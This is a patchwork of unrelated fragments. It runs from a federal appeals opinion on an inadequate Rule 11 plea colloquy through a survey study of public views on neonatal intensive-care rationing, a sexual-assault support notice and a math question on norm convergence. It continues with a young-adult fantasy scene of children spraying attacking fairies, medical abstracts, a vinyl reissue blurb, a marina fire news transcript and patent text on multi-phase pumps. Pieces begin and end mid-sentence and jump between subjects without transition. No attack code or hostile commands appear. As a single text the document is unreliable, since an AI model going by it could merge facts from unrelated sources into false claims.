The adequacy of a Rule 11 plea colloquy is subject to de novo review. United States v. Minore, 292 F.3d 1109, 1115 (9th Cir.2002). Because Pena did not object below to the Rule 11 colloquy, his conviction may be reversed for Rule 11 error only if the district court committed plain error. United States v. Vonn, 535 U.S. 55, 122 S.Ct. 1043, 1046, 152 L.Ed.2d 90 (2002); Minore, 292 F.3d at 1117. "There must be an `error' that is `plain' and that `affects substantial rights.'" Minore, 292 F.3d at 1117 (quoting United States v. Olano, 507 U.S. 725, 732, 113 S.Ct. 1770, 123 L.Ed.2d 508 (1993)). If these requirements are met, we may exercise our discretion to correct the error only if the error "seriously affects the fairness, integrity or public reputation of judicial proceedings." Id. (quoting Olano, 507 U.S. at 732, 113 S.Ct. 1770).
DISCUSSION
Federal Rule of Criminal Procedure 11
6
obliges the trial court to engage the defendant in a colloquy at the time the plea is entered for the purpose of establishing a complete record of the constitutionally-required determinations that the defendant is acting voluntarily, with an understanding of the charges which have been leveled at him, and upon a factual basis which supports his conviction.
7
United States v. Jimenez-Dominguez, 296 F.3d 863, 866(9th Cir.2002). Rule 11 requires the court to "address the defendant personally in open court and inform [him] of, and determine that the defendant understands... the nature of the charge to which the plea is offered." Fed.R.Crim.P. 11(c)(1). "A statement by the defendant and his attorney that they discussed the nature of the charge is ... insufficient to satisfy Rule 11(c), because vague references to discussion of `the charges' and `the nature of the charges' does not provide a complete record showing compliance with Rule 11(c)." United States v. Portillo-Cano, 192 F.3d 1246, 1251(9th Cir.1999) (quoting United States v. Smith, 60 F.3d 595, 598 (9th Cir.1995) (internal quotation marks omitted)).
8
The plea colloquy failed to comply with Rule 11 because the district court never explained to Pena the nature of the charges against him. Merely asking Pena whether he had read the plea agreement and asking his attorney whether the attorney, not Pena, understood and agreed with the elements of the offense is insufficient. See id. (stating that assurances that at some point the defendant and his attorney had discussed the nature of the charge "cannot cure the judge's failure to do so in open court"); cf. United States v. Kennell, 15 F.3d 134, 137 (9th Cir.1994) (stating that "courtroom recitals that the defendant has read the agreement simply do not take the place of the judge's telling the defendant what it means to enter" a guilty plea under Rule 11(e)(1)(B)). Defense counsel did state that Pena waived the reading of the indictment; however, a "waiver of the reading of the indictment does not excuse the district court's obligation to explain the nature of the charges against [the defendant]." United States v. Odedo, 154 F.3d 937, 940 (9th Cir.1998), abrogated on other grounds by Vonn, 535 U.S. 55, 122 S.Ct. 1043, 152 L.Ed.2d 90.2
9
Moreover, even though the court asked Pena whether the prosecutor's summary of the plea agreement "correspond[ed] with" Pena's understanding of the agreement, the prosecutor's only reference to the offense was to state that "[t]he defendant agrees to plead guilty to Count Five of the indictment, possession with intent to distribute a controlled substance, in violation of [21 U.S.C. § 841]." She then went on to discuss sentencing issues; she did not mention the elements of the offense or the facts that supported a guilty plea. Merely naming the charge against Pena is "`inadequate [because it] did not inform the defendant of the nature (as opposed to the formal legal description) of the charges against him.'" United States v. Longoria, 113 F.3d 975, 977 (9th Cir.1997) (quoting United States v. Bruce, 976 F.2d 552, 560 (9th Cir.1992)), rev'd on other grounds by Vonn, 535 U.S. 55, 122 S.Ct. 1043, 152 L.Ed.2d 90.
10
The district court's only reference to the charge against Pena was at the beginning of the plea hearing, when he informed Pena that he was entering a guilty plea to possession of a controlled substance with intent to distribute in violation of 21 U.S.C. § 841. This "cursory recitation of the charge in no way informed [Pena] of the `nature' of the crime ... to which he would plead guilty." Bruce, 976 F.2d at 559. "A trial judge fails to satisfy his obligation under Rule 11 when, as here, he does not fully inform the defendant of the meaning and application `of legal argot and other legal concepts that are esoteric to an accused....'" Id. at 560(quoting United States v. Coronado, 554 F.2d 166, 172 (5th Cir.1977)). "This is not a case in which the district judge merely failed to utter verbatim some magical words. The required advisement was not given in any form." United States v. Graibe, 946 F.2d 1428, 1434 (9th Cir.1991). The plea colloquy therefore was deficient.
11
The government responds that the charge against Pena was outlined in the plea agreement. However, we rejected this reasoning in Smith. In Smith, as here, the provision of the plea agreement describing and explaining the crime "was not recited or even referred to in the plea proceeding." 60 F.3d at 599. We rejected the government's attempt to rely on the plea agreement to explain the nature of the charge, stating that, "[i]n the end, the government's argument is reduced to the fact that, at some point outside of the plea proceeding, [the defendant] was probably informed of the charge." Id. As we reasoned in Smith, the reason that Rule 11 requires the judge to address the defendant in open court is
12
to create a record complete on its face, to forestall later attacks on the plea. Even if we assume (without deciding) that the judge may delegate to defense counsel the responsibility to explain the charge, it is necessary that counsel inform the defendant in open court, so that in reviewing the record we may know what was said to the defendant.
13
Id. at 598 (citation omitted).
14
"Because there is a marked difference between being warned in open court by a district judge and reading some boiler-plate language during the frequently hurried and hectic moments before court is opened for the taking of pleas and arraignments, the reading of the plea agreement is no substitute for rigid observance of Rule 11." Kennell, 15 F.3d at 136. We accordingly reject the government's contention that the language in the plea agreement itself is sufficient to satisfy the requirements of Rule 11.
15
The plea colloquy did not satisfy the requirements of Rule 11. This is error, and it is plain. Moreover, "[t]he defendant's right to be informed of the charges against him is at the core of Rule 11, which exists to ensure that guilty pleas are knowing and voluntary." Longoria, 113 F.3d at 977. This failure to satisfy a core concern of Rule 11 therefore affected Pena's substantial rights.3 See id. (holding that the defendant's substantial rights were violated because the district court failed to inform the defendant of the charge against him and failed to explain the nature of the charge when accepting the plea); see also Minore, 292 F.3d at 1119-20 (concluding that the defendant's substantial rights were affected by the district court's failure to inform him that he had a right to make the government prove drug quantity to a jury beyond a reasonable doubt); United States v. Camacho, 233 F.3d 1308, 1314 (11th Cir.2000) (stating that "a district court's failure to satisfy any of the core objectives4 of Rule 11 affects a defendant's substantial rights and, thus, can constitute plain error"), cert. denied, 532 U.S. 951, 121 S.Ct. 1423, 149 L.Ed.2d 363 (2001); United States v. Quinones, 97 F.3d 473, 475 (11th Cir.1996) (per curiam) (holding that the district court's failure to satisfy the core concern that the defendant understood the nature of the charge against him violated the defendant's substantial rights and |
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] | is often thought to favour those who are worst off. Although Rawls did not apply this decision-making procedure to health care resource allocation, philosophers have taken different views about the sort of allocation policy that would be chosen behind the veil. For example, Singer et al. propose that in a scenario where two people need a life-saving treatment, but only one can receive it, a rational egoist would assume they have equal chance of being either person, and that they would maximize their own chances by directing treatment to the patient with better prognosis \[[@CR43]\]. In contrast, Harris suggests that decision-makers behind the veil are likely to be risk-averse and would focus on reducing the chance for the individual at the time of allocation of the worst outcome (death) \[[@CR44]\]. Harris argues that this would be accomplished by an egalitarian approach of random allocation (for example, tossing a coin) \[[@CR44]\].
There have been few empirical studies of the impact of the veil of ignorance on public views about resource allocation \[[@CR45]\]. We asked our respondents to imagine making policy about resource allocation in intensive care that would affect their own children (but without knowing their child's prognosis). Respondents were predominantly utilitarian in their responses behind the veil. This appears to support Singer et al's predictions \[[@CR43]\]. 89.3 and 77.3 % of respondents chose the infant with a greater chance of survival and infant with a less severe disability, respectively. There were no statistically significant differences between responses to the policy questions and their equivalent versions without the veil. This finding does not resolve the debate between utilitarianism and egalitarianism, but does imply that the veil of ignorance thought experiment would favour the former (at least in situations where patients would be equally badly off without treatment).
Demographic characteristics {#Sec9}
---------------------------
There were some associations between demographic characteristics and responses to the survey. Parents were more egalitarian than non-parents in allocating resources based on cost of treatment. This is consistent with a survey of mothers of NICU infants from South Africa, in which the majority rejected rationing of resources entirely \[[@CR22]\]. Females were more inclined to be egalitarian than males in relation to allocation of resources based on severity of disability. Religiosity influenced resource allocation preference based on chance of survival. Interestingly, respondents who described themselves as religious were more likely to give a utilitarian response than non-religious people. This finding is in contrast with previous studies, where a high proportion of people who chose egalitarian allocation were religious \[[@CR46]\].
There was no relationship between age, marital status, or highest level of education and resource allocation preference. In a previous Australian study of the general public's resource allocation preferences, all of these three factors were seen to influence treatment decisions \[[@CR47]\].
Personality tests {#Sec10}
-----------------
The mean scores of respondents on the Empathic Concern portion of the Interpersonal Reactivity Index, the Need for Cognition scale and the 12-item Social and Economic Conservatism Scale (SECS), had no relationship with their resource allocation inclinations. This might reflect that resource allocation preferences are not influenced by level of empathy or a greater level of deep thinking, but rather depend upon context-dependent moral evaluations.
Strengths and limitations {#Sec11}
-------------------------
This study is distinctive in assessing the views of a sample of the general public, rather than healthcare practitioners on resource allocation in the NICU. It provides valuable comparative data on responses to philosophical examples that have been widely discussed, but not previously studied empirically. The results of the survey should be taken cautiously, however. Our small online sample may not be representative of the wider general public. Mechanical Turk samples have been shown to be more diverse than convenience samples of students or the adult population, but less representative than face-to-face population sampling \[[@CR47]\].
We were not able to determine why respondents chose particular answers, and responses may reflect uncritical initial responses that might change with further time to consider, or might be sensitive to the way in which cases were presented. Our scenarios specified equal starting points and equal clinical need for infants needing intensive care, therefore did not test prioritarian intuitions. Furthermore, in order to isolate factors that influenced decisions, scenarios were necessarily somewhat unrealistic and compared single variables sequentially. It is possible that a larger sample and factorial survey design would have allowed analysis of the interaction between variables in more complex real-world allocation scenarios \[[@CR48]\].
Conclusion {#Sec12}
==========
In this study, when faced with hypothetical difficult choices between critically ill neonates, respondents were strikingly utilitarian in their resource allocation preferences.
We focused on newborn infants; however, the principles that apply to rationing in newborn intensive care would also potentially apply in paediatric or adult intensive care. Future research should explore responses to rationing dilemmas in older children, adults and other populations. It would be helpful to compare prioritarian with utilitarian intuitions in rationing dilemmas. It would also be helpful to further clarify the decision-making rationale of the general public by using a qualitative methodology that would assess the reasons behind judgements, to use a factorial survey design that would permit analysis of the influence and interaction of different factors, and to assess whether the way in which cases are presented influences responses.
Although the findings of this study should not in themselves determine the practice of healthcare practitioners or the development of micro-allocation policy in the NICU, they can contribute to fruitful discussion in this area. In practice, clinicians should provide the best treatment that they can to newborn infants within available resources. Where possible, this will mean avoiding the sort of stark choices described in this paper through redistributing available resources, arranging transport of patients to other centres, or advocating for greater resources. However, difficult decisions will sometimes remain, especially in resource-limited settings. The apparently utilitarian inclination of respondents may indicate that the general public would support a policy for resource allocation in the NICU that directs clinicians to preferentially treat patients with better prognosis. Where there are small differences in predicted outcome between patients competing for life-saving treatment, it may be important to give them equal chances for receiving treatment \[[@CR41]\].
Additional files {#Sec13}
================
Additional file 1:Questionnaire. (PDF 533 kb) Additional file 2:ANOVA Interaction. (PDF 69 kb) Additional file 3:Oxford Ethics Approval. (PDF 215 kb) Additional file 4:Monash Ethics Approval. (PDF 491 kb) Additional file 5:Survey Monkey Dataset. (PDF 226 kb)
CEA
: Cost-effectiveness analysis
DALY
: Disability-adjusted life year
N/A
: Not applicable
NICU
: Neonatal intensive care unit
QALY
: Quality-adjusted life year
SECS
: Social and economic conservatism scale
None.
Funding {#FPar1}
=======
The Oxford Uehiro Centre for Practical Ethics provided funding for remuneration of participants via Mechanical Turk. DW and JS were supported for this project by grants from the Wellcome trust, \[086041/Z/08/Z, WT106587/Z/14/Z\]. The funders had no role in the design or conduct of this study, collection, management or analysis of data, nor in preparation, review or approval of this manuscript.
Availability of data and materials {#FPar2}
==================================
The dataset supporting the conclusions of this article are included within the article and its additional files [1](#MOESM1){ref-type="media"}, [2](#MOESM2){ref-type="media"}, [3](#MOESM3){ref-type="media"}, [4](#MOESM4){ref-type="media"} and [5](#MOESM5){ref-type="media"}.
Authors' contributions {#FPar4}
======================
CA conceived of the study in conjunction with DW, JS and MS. CA was responsible for survey design, distribution, data analysis and the first draft of this work. DW supervised the research project. HM provided statistical expertise and guidance. DW, JS, HM and MS edited the article. All authors approved the final version of this paper. CA had full access to all the data in the study and takes responsibility for the integrity of the data and the accuracy of the data analysis.
Competing interests {#FPar3}
===================
The authors have no relevant financial, political, intellectual, religious or other competing interests to disclose.
Consent for publication {#FPar5}
=======================
Not applicable.
Ethics approval {#FPar6}
===============
The University of Oxford Central University Research Ethics Committee and the Monash University Human Research Ethics Committee approved the study.
It is best not to shower or change clothes. If you go to the hospital, medical staff can collect evidence from your body and clothes. However, you can still receive medical care even if you decide not to press charges.
Get emotional support from family, friends, and the Center. You may want to think about filing a police report. If you want, you can make a blind report. This is when you file a report without giving your name.
Our Companions can provide ongoing emotional support to sexual violence survivors. We can support you immediately after an assault and also long after an assault.Q:
What is this mode of convergence called?
$\|f_k\|_p\to \|f\|_p$: Is there a name for this type of convergence?
What I know is convergence in $L^p$ norm usually means $\|f-f_k\|_p\to 0$, which is different from the above.
Thanks!
A:
I'm not sure this is really convergence in any reasonable sense |
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] | go for your eyes first. You saw what happened to Anne. If you get hit in the eyes, panic sets in, and you forget all about your training. Then it's all over."
Zoey held her can in front of her.
"I'm ready. Let's do this." She felt surprisingly strong and capable, having forgotten her sore back in the rush of excitement.
With a grin, Tristan kicked the pole. The fairies stopped eating and bared their pointy teeth. They were not happy about having their lunch interrupted.
"Get ready!" Tristan jumped back.
The fairies soared in the air with a loud screeching noise like a high pitched siren and came at them like a bomb raid. At least fifty angry fairies shot towards them like a swarm of angry wasps. The fairies split into three groups and launched their attack.
The closest and largest group of fairies hit Tristan first. He spun around in a circle, spraying as he went. He spun himself into a protective layer of mist like in a cocoon. The fairies charged the walls of mist but were immobilized immediately and fell to the ground. Piles of immobilized fairies lay at Tristan's feet.
In the corner of her eye, Zoey saw Simon dive under a fallen tree trunk. He screamed like a girl, but in between screams she heard him shout, "Take that! And that! And then some! And then some more! You nasty little critters—ouch!"
The third swarm came at Zoey.
She planted herself firmly, with her feet apart. They came at her in a straight line. Just as Tristan had shown her, she threw her arm out and sprayed in an arc. The first ten fairies dropped like rocks.
But then they split apart. Before she knew what was happening, they had attacked her back. She screamed as their sharp claws ripped into her skin. She reached back with her left arm and tried to pull them off. But it was no use. They were glued to her. Pain and then panic started to overwhelm her. She felt their teeth puncture the back of her neck, and then warm liquid ran down her back. They bit into her arms and her legs, until she was completely covered. They weighed her down until she couldn't move. They were going to tear her apart.
And then something clicked inside her. As the adrenaline raced through her body, her instincts kicked in. She closed her eyes and began to spin around and around like a top. Slowly at first, and then faster, she sprayed all around herself. She didn't stop spraying for at least twenty seconds. Immobilized fairies started to fall to the ground at her feet and her pain stopped.
When she stopped spinning and opened her eyes, fairies littered the ground at her feet like a furry carpet.
"That was awesome!" said Tristan as he came up beside her. "I thought you were in trouble for a second, but you totally nailed them. You're a real natural. I knew it."
Zoey reached to the back of her neck. Her fingers were stained with red. "Not that much of a natural—they got me pretty good."
"No pain, no gain," Tristan smiled.
"That was _so_ cool." Simon dragged his bag behind him. He looked around at Zoey's feet. "Holy guacamole! How many do you think you got there? Looks like twenty. Man, I only got six! I totally suck at this, don't I? Thank God I'm heavenly handsome."
Zoey couldn't hide her satisfaction as she bagged her fairies. When she was finished, she had twenty-one of them in her bag. Maybe she'd break Tristan's record tonight.
"Think that no one can top that?"
Stuart strolled towards them with a beautiful girl with long, flowing brown hair. She looked like a model. Zoey felt instantly self-conscious, and she was glad the gloom around them hid her burning face. The model was accompanied by another boy who looked like a gorilla in jeans and a T-shirt. They all wore the same ruby rings on their fingers.
"I've got thirty already, and the night's only just beginning," said Stuart. " _I'm_ getting the record this time."
"Go away, Stuwie," said Simon lazily. "We don't care how many your _friends_ bagged for you. Don't you have an appointment for a pedicure or something? Your cuticles are like _way_ too big."
"Shut up, frog—no one's talking to you," snapped Stuart.
Simon laughed softly. "I've been called many things, but never a frog. Is that supposed to be insulting?"
Stuart gave Simon a dirty look and turned to Zoey. "You want to prove that you're one of us?" he dared
Zoey looked into his face. There was an unsettling coldness in his faded blue eyes.
"What's on your mind?" She knew he was up to something.
Stuart smiled and pointed down the field. "See that big rock down there? Well, there are at least forty fairies behind it, waiting to be sprayed. Think you can handle that? Or are you scared?"
Zoey followed his gaze. She could see the rock, but it was too far and dark to see any fairies.
"I don't get it—why don't _you_ go?" she said. "You want the record? Why are you telling me this?"
"See? I told you she wouldn't do it," said the girl, batting her long eyelashes at Tristan. "She's not one of us. She's scared. Why don't you go back home and cry to your mama, oh wait—I forgot—you don't _have_ a mother." She and the boy gorilla laughed.
"Shut up, Claudia," said Tristan. "You don't even know her. She's the bravest person I know. She's not scared of anything."
Zoey felt the blood rush to her face.
Claudia's cheeks blushed. "So why does she need _you_ to defend her?" teased the girl. "Are you her boyfriend or something? I would have thought you'd have better taste than that, Tristan. She's not even pretty."
Zoey glared at the girl with what she hoped was her best crazy impersonation.
"Beauty isn't everything, _stick_. At least I like to eat."
Before Claudia could counter, Zoey turned to Stuart. "I'm not scared. I just figured everyone wanted the prize, including you."
Stuart smiled. "Since you're not scared, let's see how well you do against forty," he taunted.
"If you're truly one of us, then it shouldn't be a problem. Fighting mystics should be in your blood."
His face was stone cold. "You say you're one of us. Then prove it."
Zoey didn't know what to say. He made her blood boil and her skin crawl all at the same time. She hated how he made her feel so useless and unworthy. Would he and his friends accept her if she bagged all those fairies? She doubted it.
She charged down towards the big rock without saying a word. She knew Stuart couldn't be trusted. She hated him more than anyone she'd ever known, but he wasn't going to ruin everything for her.
"Zoey!" Tristan ran up beside her. "Wait! Something's off—it must be a trap. You can't trust Stuart! Everything out of his mouth's a lie."
"He's right," said Simon as he jogged alongside them. "Never trust a King. I'd rather dig my own kidneys out with a spoon than trust a King."
"He dared me, so I'm going."
Zoey wanted nothing more than to prove to everyone that she belonged. She'd get all those fairies, if it were the last thing she did. She could do this.
Zoey turned around and raised her hands. "You guys have to stay here. I have to do this alone." She wouldn't give Stuart a chance to say that they had helped her in some way.
"Something's off, I can feel it," said Tristan, "Stuart's bad, Zoey. You don't know him like we do. He wouldn't just give you an opportunity likes this. He's planning something."
"I think he was born evil," agreed Simon.
"Doesn't matter," said Zoey. "If you don't let me do this alone, I'll never hear the end of it. Besides, it can't be that bad, just a few more fairies. Trust me, I can do this."
Zoey marched towards the large rock, brandishing her spray can before her like a gun. She tossed her bag on the ground—she was going to need all of her limbs.
The rock was about the size of a large shed, and above it, forty fairies sat on a long strip of wires gnawing away at the power lines like famished rats. They ignored Zoey completely. She needed to get their attention somehow.
"Hey, you there! Hey, |
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] | hospital stay was 7 days (2-30 days). Two patients had post-operative complications as infection of necrosis (acute pancreatitis), which required radiologic drainage and a second case of wound infection (case of abdominal wound with evisceration).
{#F2}
The prison population is not representative of the general population. This population is usually male, aged 15-44 years, and from the lower classes. Prisoners often have a history of smoking, alcoholism, drug addiction, mental disorders and chronic diseases.\[[@ref1][@ref2]\]
In most published series, the reported reasons for consultation were dominated by the ingestion of foreign bodies, trauma of the abdomen and proctology disease.\[[@ref3]\] In our series, the most common pathology was voluntary ingestion of foreign bodies.
Blaho *et al.* had also found a high incidence of ingestion of foreign bodies by studying two different populations from two prisons over a period of 5 weeks, during which 14 ingestions were observed.\[[@ref4]\]
180 Gram Clear Vinyl With Blue & Yellow Splatter, limited to 100 copies. Exclusive to Fat Beats.
Marcos Valle needs little introduction, born in Rio de Janeiro in 1943, Mr. Valle is an award-winning/chart-hitting Brazilian singer, songwriter and record producer. He was raised on a staple diet of classical, Brazilian popular music and North American jazz. Marcos Valle grew up to be one of the most influential & innovating musicians of the Bossa nova period and is regarded as one of the greatest Brazilian artists of all time. He has recorded albums for North American labels such as EMI, Warner Brothers & Verve…cementing his career with a series of tight musical workouts moving seamlessly between funk, samba, soundtracks, soul, jazz, dance and rock. Valle contributed to some of the most important recordings by artists including Sarah Vaughan, Frank Sinatra, Sergio Mendes, Leon Ware, Chicago and Airto Moreira. Mr. Valle’s work has been sampled/remixed by major artists from the likes of Jay-Z, Kanye West & Madlib.
One of Valle’s favorite bands to frequently collaborate with was no doubt Azymuth, who took their name from a Valle song!
Azymuth (Bertrami-Malheiros-Conti) started their individual careers in the 1960s in the emergent Bossa nova and jazz scene of Rio, living in the same bohemian block in Copacabana and playing in small bars as session musicians under various other names.
It was the early 1970s when Azymuth really began to cause a stir and Marcos Valle invited them to record on a soundtrack LP he was doing. The unique Azymuth sound was now born: a mix of electronic music, samba, funk and jazz that they defined as MPB-jazz (MPB stands for Musica Popular Brasileira). Over the decades Azymuth released extremely successful albums (selling millions of copies) on labels such as Polydor, Som Livre and Atlantic. Hitting the charts on multiple occasions, Azymuth played at the Monterrey and Montreux jazz festivals and at venues around the globe.
The band has worked with legendary musicians from Joe Henderson to Stevie Wonder and they’ve also been remixed/sampled by artists such as Flying Lotus, will.i.am, MF DOOM and Peanut Butter Wolf. Their unique brand of fusion-music has influenced three generations of musicians, DJs, and producers. Music journalists across the spectrum from mainstream to underground, celebrated these raw yet wildly imaginative and musically accomplished tracks that were a revelation of jazz, funk and disco, with some even stating that the roots of EDM were on display in their early recordings.
On the album we are presenting you (Brazil by Music - Fly Cruzeiro) the listener is getting yet another fantastic early Valle/Azymuth collaboration. Released in 1972, this rare album was pressed and gifted to customers of the ‘Cruzeiro’ airline company. This promotional record came as no surprise because the connection between Cruzeiro Airlines and Valle was very tight (Valle’s father was the manager and his brother was a co-pilot there).
Next to the Valle/Azymuth material present, other songs include some of the all-time best Brazilian standards originally written by renowned artists such as Jorge Ben & Antonio Carlos Jobim. Take a flight with us through this fantastic album and into some of the best Jazz, Funk & Bossa Nova the Brazilian musical landscape has to offer.
Tidal Waves Music now proudly presents the first ever vinyl reissue of ‘Fly Cruzeiro’ since its release in 1972 (only 500 copies were pressed upon its original release in 1972). This official reissue is now available as a deluxe 180g vinyl edition packaged in a gatefold jacket and also comes with an insert containing rare pictures and liner notes courtesy of Marcos Valle himself.Approximately 14 boats at a Walnut Grove marina were destroyed early Monday morning as a fast-moving fire jumped from boat to boat.
Approximately 14 boats at a Walnut Grove marina were destroyed early Monday morning as a fast-moving fire jumped from boat to boat.
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WEBVTT BREAKING NEWS. MORE THAN A DOZEN BOATS DESTROYED IN A FAST-MOVING FIRE AT THE WALNUT GROVE MARINA. IT TOOK A FEW HOURS TO CONTAIN THIS ONE. BRIAN HICKEY HAS A LOOK AT THE DAMAGE OUT THERE. I KNOW YOU SPOKE WITH SOME BOAT OWNERS. WHAT ARE THEY SAYING? HOW HORRIBLE IT WAS WATCHING THIS GO UP IN FLAMES. FORTUNATELY, SOME OF THE FOLKS WE SPOKE TO DID NOT LOSE THEIR HOMES, BUT MANY WERE CONCERNED ABOUT THE FIRE THAT BROKE DURING THIS MARINA. IT STARTED AROUND THIS COVERED AREA OF THE MARINA. FIRE CREWS ARE ESTIMATING RIGHT AROUND 14 BOATS DESTROYED, SOME OF THEM IN EXCESS OF 50 FEET. ONE OF THE OWNERS GAVE US THESE PHOTOS. HE WAS ABLE TO GET OUT OF THE MARINA AND TOOK THESE AMAZING PHOTOS. HE DESCRIBED HOW QUICKLY THE FIRE SPREAD FROM ONE GO TO THE NEXT AS FUEL, FIBERGLASS, AND PROPANE BURNED HERE THIS MORNING. BIG CONCERNS AS THEY CONTAIN THE MAIN PART OF THE FIRE. ANOTHER BURNING HOUSEBOAT STARTED TO FLOAT DOWN RIVER TOWARD THE OTHER AREAS THAT WERE NOT BURNING YET. CREWS WERE ABLE TO DIVERT THAT BEFORE IT SLAMMED INTO THE DOCK, WHERE THEY HAD TO BATTLE THAT FIRE AND THE BURNING DIESEL FUEL. ONCE THEY GOT THAT OUT, THEIR ATTENTION WAS BACK ON THE MAIN FIRE. RESIDENTS DESCRIBED HOW FIERCE THE FIRE WAS. WE WERE LAYING IN BED, ABOUT 12:15 AND WE HEARD A BANG. I ASKED MY WIFE AND SHE DID NOT KNOW WHAT IT WAS. WE LOOKED AND WE SAW THE WHOLE PLACE WAS ON FIRE. HE WAS THE ONE THAT PROVIDED US WITH THOSE PHOTOS. HE WAS ABLE TO GET OUT TO THE RIVER UPSTREAM, WHERE HE IS NOW ANCHORED. THE CAUSE OF THE FIRE , AND MAKING SURE THERE WAS NOT ANY ONE ON THE BOATS, IS UNDER INVESTIGATION. A LOT OF THESE BOATS DO NOT HAVE PEOPLE PERMANENTLY LIVING ON THEM, BUT POLICE MONDAY TO CONFIRM THAT. THEY HAVE ALSO NOTIFIED THE EPA AND HAZMAT CREWS BECAUSE OF THE OIL AND DEBRIS AND FUEL AND GARBAGE NOW FLOATING DOWN THE RIVER HERE TOWARD THE SACRAMENTO RIVER.
Fast-moving fire destroys boats docked in marina
Approximately 14 boats at a Walnut Grove marina were destroyed early Monday morning as a fast-moving fire jumped from boat to boat.[Hemangioma of the eyelids and orbit in children: therapeutic follow-up].
To evaluate the different therapeutic solutions for the management of periorbital hemangioma of infancy and childhood. and methods: A retrospective study conducted between 2000 and 2006, including nine children (five girls and four boys), aged from 1 month to 9 years old. All children underwent a complete clinical evaluation, orbital ultrasonography, computerized tomography, and magnetic resonance imaging scans. The different histopathological forms and the different management options were analyzed: surgical excision, intralesional steroid injection, and oral steroids. Surgery was performed in three cases and the results are discussed. Intralesional corticosteroid injections are effective and lead to complete reduction of tumoral volume and to the disappearance of the initial symptoms. With oral steroids, regression of the tumor was noted, followed by regrowth of the hemangioma at reduction or termination of therapy; complementary |
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] |
In industry, particularly the oil industry, there are many situations in which liquids and gases are found together or mixed together, and need to be supplied with power for transporting through pipelines.
There are two distinct types of conventional equipment used to do this: pumps and compressors.
Pumps work efficiently with liquid, though not when gas is present; when gas is present the pump may cease to function, depending on the percentage of gas.
The same behaviour is seen in reverse with compressors.
Thus, if for example energy is to be transfered into a multi-phase flow in order to facilitate long-distance transport, it becomes necessary to separate the constituents into liquid and gas flows. For this op ration one uses the liquid- and gas-phase separators. In this way, following separation, the liquid flow will be directed to a pump, there to be supplied with energy and transported, while the flow of gas will be directed to a compressor for the same reason.
Generally, to work with flows of fluids at high-pressure, the separators are heavy, bulky vessels which are fitted with control and safety systems in order to maintain the correct liquid level for operation. Besides being expensive they overload the production system, especially in applications where there are limitations on space, weight or the complexity of the components installed (for example, off-shore oil-production rigs and/or sea-bed oil-production systems).
In order to do away with use of separators, industry has set about using, adapting and developing mono-phase liquid pumps and mono-phase gas compressors which can function as multi-phase pumps, pumping in two phases, liquid and gas.
Many types of multi-phase pump are under development such as: piston pumps, diaphragm pumps, single and/or multiple screw Moineau, spiral-axial, or centrifugal pumps. However, until now, none of these designs has yet reached the stage of large-scale application in industry. Those that attained the most widespread application were multi-phase twin-screw pumps and the rotary-dynamic pumps of the spiral-axial type.
A basic problem of the multi-phase fluid pump is the Circulatory Flow (C.F) of fluids, to be explained in detail later herein.
An Oscillating Chamber String (OCS), disclosed by Sulzer Pumps (Germany) in 1989-1990, is a multi-phase pump with variable capacity of the pistons which solves the C.F. problem, though in a more complex way than that adopted by the present invention. The OCS piston pump has a positive displacement action. The pistons and connected sheaths connected in a set produce a multiple-stage pump. The travel of each piston is variable. A control-system and motors connected to each piston reset the piston""s travel, so as to maintain equal pressure increments in the component stages of this design.
A twin-screw pump is normally used to pump liquids, at which it gives good performance, and it has been adapted to serve as a multi-phase pump. This is also a positive-displacement pump, made up of two metal screws and two metal sheaths, producing cavities of equal volume, which move by suction to discharge the pump, in order to drive the fluids. The screws and sheaths form metal seals between the cavities; in other words, each cavity demarcates a stage of the pump.
The twin-screw pump displays the following disadvantages, brought about by the phenomenon of Circulatory Flow (C.F.):
1. durability is reduced through the increased proportion of gas;
2. energy-efficiency is reduced through the increased proportion of gas, possibly declining to zero;
3. it is unable to pump high proportions (for example, over 95%) of gas, or gas alone.
There follows a description of C.F. and its effects.
The mono-phase gas compressor has variable volumes at each stage, being unable to pump liquid, hence an Excessive Rise in Pressure (E.R.P.) would arise at each of its stages. In order that the liquid will be pumped while avoiding E.R.P, the twin-screw pump exhibits stages or cavities at constant volumes. Hence, there would be no reduction in the volume of gas entering the cavity, so pressure would not rise. Thus, suction pressure would be maintained in all pumping stages, and discharge pressure would increase only at the final stage, when the cavity communicates with the pump discharge. This is certainly not what actually happens, since the final stage does not resist any increase in the required pressure. If it did resist, there would be no need for an extra stage.
Single-stage pumps do not present this problem, since the single stage resists any increase in the pressure required.
Under the law of conservation of mass, the flow-mass must be constant at all stages of the twin-screw pump. Fluid pressure rises while the cavity is moving; in other words, pressure rises from one stage to another. With that rise in pressure, the volumetric flow of fluids declines, allowing a state of gas equilibration, and as a result it cannot succeed in completely filling the cavity. Thus, it is filled up with fluids which will not normally drain away. Those fluids that remain in place, occupying cavity spaces that pass through them, represent the C.F. of the fluids.
By way of illustration, let us suppose a twin-screw pump with several stages, compressing gas with a pressure value of 1 Absolute Unit of Pressure (AUP) of suction and 10 AUP of discharge. The volumetric suction gas-flow is at its maximum whereas, when discharged, this flow declines to {fraction (1/10)} of the volumetric gas flow in the first cavity. Consequently, {fraction (9/10)} of this volumetric flow will need to be supplemented by fluid originating in C.F: in other words, this {fraction (9/10)} of the fluid continues to occupy the cavity, moving to the previous cavity, as long as this continues to occupy the position of the last cavity.
This same phenomenon occurs with the remaining cavities; however, the C.F. will be lower, since it depends on the relationship between the cavity and pump suction.
The return, or greater C.F., occurs at the final cavity where there is greater pressure, and the smaller C.F. at the first where there is less pressure. However, linear distribution of pressure does not occur, because the return flow, being much greater in the higher stages, is impeded by the clearances found between the cavities. Therefore, in the presence of gas, the higher stages function with a greater Rise in Pressure, or greater E.R.P.
The twin-screw pumps are installed with a minimum clearance between the screws and sheaths, when they function as virtually non-compressible liquids. These pumps are not multi-phase and do not compress gas, because an E.R.P. would arise at the stages. In order to make them multi-phase, designers reduce the E.R.P. increasing the clearance between screws and sheaths so that the remaining stages will function.
Supposing a discharge of a liquid pump should be linked to its own suction by means of a choke or control valve, so that 90% of the pumped flow returns. If the hydraulic power of the pump were 10 Units of Power, 9 of those units would be dissipated at the choke in the form of heat. If the choke did not exchange heat with the environment (considering that this is an adiabatic process), the result is equivalent to installing a heater with the same 9 units of pump-suction power, in order to heat just 10% of the flow passing through the pump. However, the return of fluids at the twin-screw pumping stages causes overheating, similar to the overheating caused by the choke when working under an adiabatic rxc3xa9gime.
Fluids that return without leaving the interior of the twin-screw pump cannot cool it down, because each time they return, they are heated on passing through the hydraulic sealing areas of the cavities.
